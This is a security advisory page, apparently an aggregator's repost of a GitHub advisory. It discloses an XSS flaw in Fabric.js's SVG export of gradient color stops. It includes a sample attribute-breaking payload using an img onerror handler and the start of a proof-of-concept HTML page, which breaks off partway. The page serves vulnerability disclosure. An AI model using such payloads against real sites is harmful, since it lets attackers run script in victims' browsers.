CSIRTS // UNIFIED SECURITY ADVISORY FEEDSYS ● ONLINE · POWERED BY INTELFUSIONS.COM

GHSA-w22m-hvvm-xmwx: Fabric.js improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization

mediumCVSS 5.4CVE-2026-44311
Summary A potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the toSVG() method. Specifically, the color field within the colorStops array of a fabric.Gradient object is not properly escaped when converted into SVG <stop> elements. If an application renders the generated SVG string into the DOM (e.g., via innerHTML), this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser. Details During SVG export, Fabric.js serializes gradient color stops into <stop> elements like: <stop offset="0" stop-color="..."></stop> However, the color value is inserted into the stop-color attribute without proper escaping of special characters such as ", <, and >. This allows crafted input to break out of the attribute context and inject arbitrary markup. For example: color: 'red"><img src="x" onerror="alert(1)">' may result in: <stop offset="0" stop-color="red"> <img src="x" onerror="alert(1)"> This breaks the intended SVG structure and introduces executable HTML. PoC (Proof of Concept) Successfully verified on v7.2.0 (current latest version). The following HTML and JavaScript code reproduces the vulnerability. The code constructs a rectangle with a maliciously crafted gradient color stop and exports it to SVG: <!DOCTYPE html> <html> <head> <title>Fabric.js SVG Export XSS Bypass Test</title> <script src="https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js"></script> </head> <body> <h1>Fabric.js SVG Export XSS Bypass Test (Gradient Color)</h1> <canvas id="c" width="400" height="300"></canvas> <h3>SVG Output Rendering:</h3> <div id="svg-output" style="border: 1px solid #ccc; padding: 10px; margin-top: 10px;"></div> <script> setTimeout(() => { const canvas = new fabric.Canvas('c'); // Construct a malicious gradient object const maliciousGradient = new fabric.Gradient({ type: 'linear', coords: { x1: 0, y1: 0, x2: 100, y2: 0 }, co

Details

Source
GitHub Security Advisories (INTL · database · site)
Severity
medium — CVSS 5.4
Published
2026-06-12
Last updated
2026-07-18
Exploitation
Not in CISA KEV at last sync

Original advisory: https://github.com/advisories/GHSA-w22m-hvvm-xmwx

Exploitation outlook

EPSS (FIRST.org) estimates each CVE’s probability of exploitation in the next 30 days — here is the CSIRTS.com read on those numbers.

Referenced CVEs

CVECSIRTS overviewExternal
CVE-2026-44311coverage & exploitation statusNVD · CVE.org

More from GitHub Security Advisories